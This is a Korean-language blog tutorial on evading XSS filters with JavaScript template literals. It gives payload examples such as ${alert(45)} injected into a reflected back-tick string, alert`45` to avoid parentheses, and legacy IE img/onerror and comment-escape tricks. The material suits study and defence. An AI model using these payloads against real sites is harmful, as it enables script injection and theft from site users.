Bypass XSS filter with back-tick(JS Template Literal String)

오랜만에(?) XSS 우회기법 정리 차 포스팅 작성합니다. 오늘은 Template literal String인 back-tick과 이를 이용한 XSS에 대해 이야기할까 합니다. 자 그럼 시작하도록 하죠.

Template literal string?

Template Literal은 embedded expression을 허용하는 string literal입니다. 쉽게 이야기하자면 물결(~) 키의 특수문자인 back-tick(`)을 이용하여 문자열처럼 감쌌을 때를 의미합니다.

대표적으로 Multi-line string이라 하여 여러줄의 데이터를 표기할 때 사용하죠. 이 친구는 재미있는 특성을 가지고 있습니다.

String

아래 코드를 보시면 back-tick을 이용해 문자열 형태로 표현할 수 있습니다.

<html>
<script>

  console.log(`this is back-tick`);

</script>
</html>

결과 또한 잘 찍히네요.

this is back-tick

String Interpolation

Javascript 에선 back-tick을 이용하면 String Interpolation을 나타낼 수 있습니다.

function check(data)
{
  if(data != "test")
  {
    alert("Success");
  }
  else
  {
    alert(`Error: [${data}]`);
  }
}

잘 활용하면 위 코드처럼 상황에 따라 변동되는 값을 보여줄 수도 있겠지요. 자 눈치 빠르시면 이미 파악하셨을겁니다. 어떤것이 위험할지 :D

Bypass XSS with back-tick

back-tick을 사용하면 문자열 데이터 안에서 스크립트 문을 표현할 수 있습니다. 간단한 코드예시로 보면..

<html>
<script>

  console.log(`this back-tick ${alert(45)}`);
  console.log(`this back-tick ${document.location}`);

</script>
</html>
this back-tick undefined. back.html:
this back-tick http://127.0.0.1/back.html

alert() 함수도 잘 실핼되고 console.log에 현재 위치도 잘 찍히네요.

맨위에서 이야기했듯이 back-tick을 이용해서 문자열을 표현하는 환경도 은근히 있습니다. 우리는 ${} (template substitution)만 잘 활용한다면 쉽게 XSS에 성공할 수 있겠지요.

Javascript 내 quot 제한 우회

위에서 어느정도 설명드렸지만 한번 정리할겸 나열해봅니다. 일단 back-tick은 double, single quot 대용으로 사용할 수 있습니다. 공격구문에 문자열을 저장해야할 경우가 가끔씩 생기는데 그럴때마다 푸는 방법 중 하나로 사용될 수 있겠죠.

var payload = `alert(45)` // 오늘의 방법!
var payload = /alert(45)/
var payload = document.forms[0].s.value //s name form > value 값에 payload
// http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

Back-tick 내 Reflection 이 존재하는 경우

back-tick은 문자열 형태를 유지하거나, 내부 스크립트 편의성을 위해 사용되기도 합니다. back-tick 내 요청된 파라미터 값이 들어간다면 우리는 스크립트 문을 문자열 내부로 넣을 수 있습니다.

GET test.html?q=your%20input
var helpmsg = `This page is help page .. search for your input!`;
console.log(helpmsg);

This page is help page .. search for your input!

GET test.html?q=${alert(45)}
var helpmsg = `This page is help page .. search for ${alert(45)}`;
console.log(helpmsg);

This page is help page .. search for undefined

괄호 대신 사용하기

괄호를 못쓰는 경우도 은근히 짜증납니다. 그럴 땐 back-tick을 이용해 괄호처럼 쓸 수 있습니다.

<html>
<script>

  alert`45`

</script>
</html>

alert() 함수가 잘 실행됩니다.

IT 구버전의 트릭

IE 구버전(6,8)에선 back-tick이 js 영역이 아닌 html 영역에서도 일부 동작할 수 있었습니다.

<img src="x` `<script>alert(45)</script>"` `>

그래서 이를 이용하여 주석 탈출도 가능합니다.

<!-- `<img/src=z onerror=alert(45)//--!>

단 너무 구버전의 트릭이라 현재는 사용할 수 없습니다.

Reference

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Template_literals http://hacks.mozilla.or.kr/2015/08/es6-in-depth-template-strings-2/ oioi